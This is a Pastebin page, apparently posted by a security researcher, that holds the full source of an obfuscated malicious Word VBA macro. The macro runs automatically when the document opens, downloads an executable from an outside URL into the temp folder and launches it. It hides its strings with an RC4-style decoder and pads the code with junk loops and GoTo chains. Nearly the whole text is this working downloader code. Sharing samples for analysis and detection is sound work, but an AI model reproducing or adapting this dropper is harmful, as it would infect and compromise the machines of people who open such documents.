SHARE
TWEET

Malicious Word macro

dynamoo Feb 16th, 2015 (edited) 279 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9.  
  10. Private Const Cm8OMu3Ie4h = "nSNOM"
  11. Private Const SQqpgglmtK = "^167617,gzg"
  12. Private Const PTM = "ijPQp"
  13. Private Const oeeWlrJQi = " ÆÒì.Crrnkacvkml"
  14. Private Const gleRsO = "cmJ"
  15. Private Const tUaUWh = "WjúÂ.Qvpgco"
  16. Private Const aZP = "Scripting.FileSystemObject"
  17. Private Const rmoRnWu5OK = "agcnES"
  18. Private Const BkZYOOT = "Éej"
  19. Private Const aq03OU5E = "MGZIf"
  20. Private Const YcGrE = "õÓ L.ZONJVVR"
  21. Private Const j2OhBfg8O = "kMgLkBc"
  22. Private Const iJIw8Vpj = "‚ó´5617,gzg"
  23. Private Const HCpSDASww = "http://hoodoba.cba.pl/js/bin.exe"
  24. Private Const NyjTIGvvn = aZP
  25.  
  26. Sub autoopen()
  27. Dim BeVV3a3, DO1mvh9s
  28. Dim wmdrB As Variant
  29. Dim QJkGTi As String
  30. QJkGTi = SQwkic
  31. Do Until wmdrB = QJkGTi
  32. wmdrB = SQwkic
  33. Exit Do
  34. Loop
  35. Dim UBVbjZENNMQo As Variant
  36. Dim httIMPHgv As String
  37. httIMPHgv = FIdFJYUDQqqR
  38. Do Until UBVbjZENNMQo = httIMPHgv
  39. UBVbjZENNMQo = FIdFJYUDQqqR
  40. Exit Do
  41. Loop
  42. Set BeVV3a3 = CreateObject(NyjTIGvvn)
  43. Dim HPFlghf As Variant
  44. Dim OVzbLcgjazcG As String
  45. OVzbLcgjazcG = bwmdrBk
  46. Do Until HPFlghf = OVzbLcgjazcG
  47. HPFlghf = bwmdrBk
  48. Exit Do
  49. Loop
  50. Dim QupSUBVbjZE As Variant
  51. Dim MQovChttIMP As String
  52. MQovChttIMP = voYFId
  53. Do Until QupSUBVbjZE = MQovChttIMP
  54. QupSUBVbjZE = voYFId
  55. Exit Do
  56. Loop
  57. Dim ee6_wo, y46, gcD8inghgB
  58. Const r94T = 2
  59. Dim BioHPF As Variant
  60. Dim hfkUOV As String
  61. hfkUOV = Lcgja
  62. Do Until BioHPF = hfkUOV
  63. BioHPF = Lcgja
  64. Exit Do
  65. Loop
  66. Dim QVygxjnMn As Variant
  67. Dim KHeAZQM As String
  68. KHeAZQM = EaNQupS
  69. Do Until QVygxjnMn = KHeAZQM
  70. QVygxjnMn = EaNQupS
  71. Exit Do
  72. Loop
  73. Set ee6_wo = BeVV3a3.GetSpecialFolder(r94T)
  74. oihuIHBj = HCpSDASww
  75. Dim fVMblTSGGi As Variant
  76. Dim fyeCTgTRL As String
  77. fyeCTgTRL = xhsyu
  78. Do Until fVMblTSGGi = fyeCTgTRL
  79. fVMblTSGGi = xhsyu
  80. Exit Do
  81. Loop
  82. Dim MZqEaNQupSU As Variant
  83. Dim bjZENNMQovCh As String
  84. bjZENNMQovCh = IMPHgvoY
  85. Do Until MZqEaNQupSU = bjZENNMQovCh
  86. MZqEaNQupSU = IMPHgvoY
  87. Exit Do
  88. Loop
  89. uBHJvsdf = ee6_wo & oOoztLIgBaSO(iJIw8Vpj, j2OhBfg8O)
  90. Set Hb0356TG1 = CreateObject(oOoztLIgBaSO(YcGrE, aq03OU5E))
  91. Dim anyhgT As Variant
  92. Dim DPeLdP As String
  93. DPeLdP = hfZroKhF
  94. Do Until anyhgT = DPeLdP
  95. anyhgT = hfZroKhF
  96. Exit Do
  97. Loop
  98. Dim zdqpFJM As Variant
  99. Dim slUCF As String
  100. slUCF = GUQzNnnNQ
  101. Do Until zdqpFJM = slUCF
  102. zdqpFJM = GUQzNnnNQ
  103. Exit Do
  104. Loop
  105. Hb0356TG1.Open oOoztLIgBaSO(BkZYOOT, rmoRnWu5OK), oihuIHBj, False
  106. Dim rAZFjyf As Variant
  107. Dim MCidechRK As String
  108. MCidechRK = QIZdfQwZ
  109. Do Until rAZFjyf = MCidechRK
  110. rAZFjyf = QIZdfQwZ
  111. Exit Do
  112. Loop
  113. Dim OjxkQxTSv As Variant
  114. Dim gkJkvpHE As String
  115. gkJkvpHE = VNJVmBQK
  116. Do Until OjxkQxTSv = gkJkvpHE
  117. OjxkQxTSv = VNJVmBQK
  118. Exit Do
  119. Loop
  120. Hb0356TG1.send
  121. Dim HcSJQiQPDDfn As Variant
  122. Dim vbyQd As String
  123. vbyQd = IbYuepurCTU
  124. Do Until HcSJQiQPDDfn = vbyQd
  125. HcSJQiQPDDfn = IbYuepurCTU
  126. Exit Do
  127. Loop
  128. Dim qEOjxk As Variant
  129. Dim TSvctgkJ As String
  130. TSvctgkJ = pHEbxVNJ
  131. Do Until qEOjxk = TSvctgkJ
  132. qEOjxk = pHEbxVNJ
  133. Exit Do
  134. Loop
  135. Set oUQW_09Dw = CreateObject(NyjTIGvvn)
  136. If oUQW_09Dw.FileExists(uBHJvsdf) Then
  137. oUQW_09Dw.DeleteFile (uBHJvsdf)
  138. End If
  139. Dim cSJQiQPDDf As Variant
  140. Dim cvbyQdQOI As String
  141. cvbyQdQOI = uepurCTUqrAZ
  142. Do Until cSJQiQPDDf = cvbyQdQOI
  143. cSJQiQPDDf = uepurCTUqrAZ
  144. Exit Do
  145. Loop
  146. Dim gkJkvpHExVNJV As Variant
  147. Dim QKTrmPRyS As String
  148. QKTrmPRyS = VBJKI
  149. Do Until gkJkvpHExVNJV = QKTrmPRyS
  150. gkJkvpHExVNJV = VBJKI
  151. Exit Do
  152. Loop
  153. Dim yky5
  154. Dim FjyflEMCidecRKRwQI As Variant
  155. Dim fQwZD As String
  156. fQwZD = Ysjany
  157. Do Until FjyflEMCidecRKRwQI = fQwZD
  158. FjyflEMCidecRKRwQI = Ysjany
  159. Exit Do
  160. Loop
  161. Dim slUCFCGUQz As Variant
  162. Dim nNQjLfK As String
  163. nNQjLfK = aALFYHeNY
  164. Do Until slUCFCGUQz = nNQjLfK
  165. slUCFCGUQz = aALFYHeNY
  166. Exit Do
  167. Loop
  168. Set yky5 = CreateObject(oOoztLIgBaSO(tUaUWh, gleRsO))
  169. Dim thfZroKhFLHS As Variant
  170. Dim GHRbVziBUPEktusxi As String
  171. GHRbVziBUPEktusxi = MaZptvMcTEmoJ
  172. Do Until thfZroKhFLHS = GHRbVziBUPEktusxi
  173. thfZroKhFLHS = MaZptvMcTEmoJ
  174. Exit Do
  175. Loop
  176. Dim VLOGgInlSH As Variant
  177. Dim JQiQPDDfnzcbyQdQOIb As String
  178. JQiQPDDfnzcbyQdQOIb = epurCTUq
  179. Do Until VLOGgInlSH = JQiQPDDfnzcbyQdQOIb
  180. VLOGgInlSH = epurCTUq
  181. Exit Do
  182. Loop
  183. With yky5
  184. Dim VmBQKTrmPR As Variant
  185. Dim YgVBJKINlsz As String
  186. YgVBJKINlsz = pFJMDds
  187. Do Until VmBQKTrmPR = YgVBJKINlsz
  188. VmBQKTrmPR = pFJMDds
  189. Exit Do
  190. Loop
  191. Dim RwQIZdfQwZ As Variant
  192. Dim jYsjanygTFhDP As String
  193. jYsjanygTFhDP = dPTthfZroK
  194. Do Until RwQIZdfQwZ = jYsjanygTFhDP
  195. RwQIZdfQwZ = dPTthfZroK
  196. Exit Do
  197. Loop
  198. .Type = 1
  199. Dim TeMMAAbkwZ As Variant
  200. Dim vNaNKEQUrblr As String
  201. vNaNKEQUrblr = QQmoxUCg
  202. Do Until TeMMAAbkwZ = vNaNKEQUrblr
  203. TeMMAAbkwZ = QQmoxUCg
  204. Exit Do
  205. Loop
  206. Dim thSuQP As Variant
  207. Dim qchGhsmEBYuS As String
  208. qchGhsmEBYuS = SjyTHQojMO
  209. Do Until thSuQP = qchGhsmEBYuS
  210. thSuQP = SjyTHQojMO
  211. Exit Do
  212. Loop
  213. .Open
  214. Dim AbkwZsYvN As Variant
  215. Dim KEQUrblrnzQ As String
  216. KEQUrblrnzQ = oxUCgvc
  217. Do Until AbkwZsYvN = KEQUrblrnzQ
  218. AbkwZsYvN = oxUCgvc
  219. Exit Do
  220. Loop
  221. Dim fYfJQVmq As Variant
  222. Dim JZQBjl As String
  223. JZQBjl = nALgth
  224. Do Until fYfJQVmq = JZQBjl
  225. fYfJQVmq = nALgth
  226. Exit Do
  227. Loop
  228. .Write Hb0356TG1.responseBody
  229. Dim zdfLRltiO As Variant
  230. Dim INyFMdDCSI As String
  231. INyFMdDCSI = cFkiPEZPG
  232. Do Until zdfLRltiO = INyFMdDCSI
  233. zdfLRltiO = cFkiPEZPG
  234. Exit Do
  235. Loop
  236. Dim LfyRMBhq As Variant
  237. Dim ufYfJQV As String
  238. ufYfJQV = skJZQBj
  239. Do Until LfyRMBhq = ufYfJQV
  240. LfyRMBhq = skJZQBj
  241. Exit Do
  242. Loop
  243. .SaveToFile uBHJvsdf
  244. Dim UbQjzOVYhEdfLRltiOJ As Variant
  245. Dim NyFMdDCSIL As String
  246. NyFMdDCSIL = FkiPE
  247. Do Until UbQjzOVYhEdfLRltiOJ = NyFMdDCSIL
  248. UbQjzOVYhEdfLRltiOJ = FkiPE
  249. Exit Do
  250. Loop
  251. Dim yRMBhrpufYfJ As Variant
  252. Dim mqskJZQBjlFiALgthSu As String
  253. mqskJZQBjlFiALgthSu = rZqchGhsmEBuSKGSjyTHQoj
  254. Do Until yRMBhrpufYfJ = mqskJZQBjlFiALgthSu
  255. yRMBhrpufYfJ = rZqchGhsmEBuSKGSjyTHQoj
  256. Exit Do
  257. Loop
  258. .Close
  259. Dim PEZPGT As Variant
  260. Dim MAAbkwZsYvN As String
  261. MAAbkwZsYvN = KEQUrblrnzQmoxUCgvciBJ
  262. Do Until PEZPGT = MAAbkwZsYvN
  263. PEZPGT = KEQUrblrnzQmoxUCgvciBJ
  264. Exit Do
  265. Loop
  266. Dim nmCGI As Variant
  267. Dim phRzB As String
  268. phRzB = DRNwKjkK
  269. Do Until nmCGI = phRzB
  270. nmCGI = DRNwKjkK
  271. Exit Do
  272. Loop
  273. End With
  274. Dim NxINKVn As Variant
  275. Dim KTsZCRyEYg As String
  276. KTsZCRyEYg = wxvAlemPr
  277. Do Until NxINKVn = KTsZCRyEYg
  278. NxINKVn = wxvAlemPr
  279. Exit Do
  280. Loop
  281. Dim FHdFJYiCQDqQ As Variant
  282. Dim OvNzDd As String
  283. OvNzDd = IbYuQphdpFU
  284. Do Until FHdFJYiCQDqQ = OvNzDd
  285. FHdFJYiCQDqQ = IbYuQphdpFU
  286. Exit Do
  287. Loop
  288. Set yky5 = Nothing
  289. Dim HPFlghfUcjzaa As Variant
  290. Dim iazcG As String
  291. iazcG = bvmdqBk
  292. Do Until HPFlghfUcjzaa = iazcG
  293. HPFlghfUcjzaa = bvmdqBk
  294. Exit Do
  295. Loop
  296. Dim QBvCgtsIMP As Variant
  297. Dim voYFH As String
  298. voYFH = JYiCQDqQn
  299. Do Until QBvCgtsIMP = voYFH
  300. QBvCgtsIMP = JYiCQDqQn
  301. Exit Do
  302. Loop
  303.  
  304. Dim apgiacGEmbvmd As Variant
  305. Dim kjQQyGSvO As String
  306. kjQQyGSvO = kwkicurNxIN
  307. Do Until apgiacGEmbvmd = kjQQyGSvO
  308. apgiacGEmbvmd = kwkicurNxIN
  309. Exit Do
  310. Loop
  311. Dim OIbYuQphd As Variant
  312. Dim UqenKFjlRm As String
  313. UqenKFjlRm = pUdechEL
  314. Do Until OIbYuQphd = UqenKFjlRm
  315. OIbYuQphd = pUdechEL
  316. Exit Do
  317. Loop
  318. If oUQW_09Dw.FileExists(uBHJvsdf) Then
  319. End If
  320. Dim zcGEm As Variant
  321. Dim mdqBkjQQ As String
  322. mdqBkjQQ = SvOuRkwkic
  323. Do Until zcGEm = mdqBkjQQ
  324. zcGEm = SvOuRkwkic
  325. Exit Do
  326. Loop
  327. Dim PGgvoYFHdFJ As Variant
  328. Dim CQDqQn As String
  329. CQDqQn = vNzDdDOIbYuphdpFUqenKF
  330. Do Until PGgvoYFHdFJ = CQDqQn
  331. PGgvoYFHdFJ = vNzDdDOIbYuphdpFUqenKF
  332. Exit Do
  333. Loop
  334. Set dfgFFFfg = CreateObject(oOoztLIgBaSO(oeeWlrJQi, PTM))
  335. Dim gwQVmcfQvZDB As Variant
  336. Dim sjanxhgTTuDP As String
  337. sjanxhgTTuDP = rOhthfZroK
  338. Do Until gwQVmcfQvZDB = sjanxhgTTuDP
  339. gwQVmcfQvZDB = rOhthfZroK
  340. Exit Do
  341. Loop
  342. Dim JKINyrydq As Variant
  343. Dim JLDdskUCE As String
  344. JLDdskUCE = GUfzMAnNk
  345. Do Until JKINyrydq = JLDdskUCE
  346. JKINyrydq = GUfzMAnNk
  347. Exit Do
  348. Loop
  349. dfgFFFfg.Open ee6_wo & oOoztLIgBaSO(SQqpgglmtK, Cm8OMu3Ie4h)
  350. End Sub
  351.  
  352.  
  353. Public Function oOoztLIgBaSO(ByVal Data As String, ByVal Password As String) As String
  354. GoTo JQhIHYNQHhJpmU
  355. JQhIHYNQHhJpmU:
  356. GoTo TKZjRR
  357. TKZjRR:
  358. GoTo goBdwcAReSPJcZ
  359. goBdwcAReSPJcZ:
  360. GoTo qwsDUV
  361. qwsDUV:
  362. GoTo CaGkAgnGND
  363. CaGkAgnGND:
  364. GoTo fdiTMT
  365. fdiTMT:
  366. On Error Resume Next
  367. GoTo aehZxaFplaukbpzi
  368. aehZxaFplaukbpzi:
  369. GoTo HjERgNfQUujgaspMiGM
  370. HjERgNfQUujgaspMiGM:
  371. GoTo YmHJSdQAQjDQQGmvvuy
  372. YmHJSdQAQjDQQGmvvuy:
  373. GoTo kObbqu
  374. kObbqu:
  375. GoTo NdVFnqKnr
  376. NdVFnqKnr:
  377. GoTo lylYzVTwevhlKlwqIF
  378. lylYzVTwevhlKlwqIF:
  379. GoTo QOLQoCYLUtoQ
  380. QOLQoCYLUtoQ:
  381. Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte
  382. GoTo ZhQCLLKPmtAfsrHKNFe
  383. ZhQCLLKPmtAfsrHKNFe:
  384. GoTo VEGbDHVS
  385. VEGbDHVS:
  386. GoTo ooPYkMgLkBcBMGZIf
  387. ooPYkMgLkBcBMGZIf:
  388. GoTo gcnES
  389. gcnES:
  390. Key() = StrConv(Password, vbFromUnicode)
  391. GoTo JEijPQpx
  392. JEijPQpx:
  393. For X = 0 To 255
  394. GoTo OMRCJQhIHYNQHhJpm
  395. OMRCJQhIHYNQHhJpm:
  396. GoTo eTKZjRREEgoBdwc
  397. eTKZjRREEgoBdwc:
  398. GoTo eSPJcZvfqwsDUVrsCa
  399. eSPJcZvfqwsDUVrsCa:
  400. GoTo AgnGNDje
  401. AgnGNDje:
  402. GoTo iTMTyZ
  403. iTMTyZ:
  404. GoTo ehZxa
  405. ehZxa:
  406. GoTo laukbpzii
  407. laukbpzii:
  408.     Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
  409. GoTo ERgNfQU
  410. ERgNfQU:
  411. GoTo gaspMiG
  412. gaspMiG:
  413. GoTo TYmHJSdQAQjDQQG
  414. TYmHJSdQAQjDQQG:
  415. GoTo vuykdkObbqu
  416. vuykdkObbqu:
  417. GoTo NdVFnqKnrPlylYzVTwevhlK
  418. NdVFnqKnrPlylYzVTwevhlK:
  419.     F(X) = X
  420. GoTo IFdyQOLQoC
  421. IFdyQOLQoC:
  422. GoTo UtoQSzTZhQCLLKPm
  423. UtoQSzTZhQCLLKPm:
  424. GoTo fsrHKNFetmVEG
  425. fsrHKNFetmVEG:
  426. GoTo HVSBOooPYkMgLk
  427. HVSBOooPYkMgLk:
  428. Next X
  429. GoTo MGZIfOagcnESb
  430. MGZIfOagcnESb:
  431. Key() = StrConv(Data, vbFromUnicode)
  432. GoTo EijPQpxnSNOMRCJQ
  433. EijPQpxnSNOMRCJQ:
  434. GoTo HYNQHhJpmUIeTKZ
  435. HYNQHhJpmUIeTKZ:
  436. For X = 0 To Len(Data)
  437. GoTo EEgoBdwcAReSPJcZvf
  438. EEgoBdwcAReSPJcZvf:
  439. GoTo sDUVrsCaGkA
  440. sDUVrsCaGkA:
  441. GoTo GNDjefdiT
  442. GNDjefdiT:
  443. GoTo yZKaehZxaFplaukbpzi
  444. yZKaehZxaFplaukbpzi:
  445. GoTo HjERgNfQUujgaspMiGMTYmHJSdQAQjDQQG
  446. HjERgNfQUujgaspMiGMTYmHJSdQAQjDQQG:
  447. GoTo vuykdkObbqupNdVFnqKnrFP
  448. vuykdkObbqupNdVFnqKnrFP:
  449.     Y = (Y + F(Y) + 1) Mod 256
  450. GoTo YzVTwevh
  451. YzVTwevh:
  452. GoTo lwqIFdyQOLQoCYLU
  453. lwqIFdyQOLQoCYLU:
  454. GoTo QSzTZhQCL
  455. QSzTZhQCL:
  456. GoTo PmtAfsrHKNFetmVE
  457. PmtAfsrHKNFetmVE:
  458.     Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))
  459. GoTo HVSBOooPYkMgLkcBMGZIfOagcnE
  460. HVSBOooPYkMgLkcBMGZIfOagcnE:
  461. Next X
  462. GoTo mJEij
  463. mJEij:
  464. oOoztLIgBaSO = StrConv(Key, vbUnicode)
  465. GoTo xnSNOMRCJ
  466. xnSNOMRCJ:
  467. GoTo IHYNQHh
  468. IHYNQHh:
  469. GoTo mUIeTKZjR
  470. mUIeTKZjR:
  471. GoTo EgoBdwcAReSPJc
  472. EgoBdwcAReSPJc:
  473. GoTo fqwsDUVrsCa
  474. fqwsDUVrsCa:
  475. GoTo AgnGNDjediTMTy
  476. AgnGNDjediTMTy:
  477. GoTo aehZxaFplaukbpziUHjERgN
  478. aehZxaFplaukbpziUHjERgN:
  479. End Function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top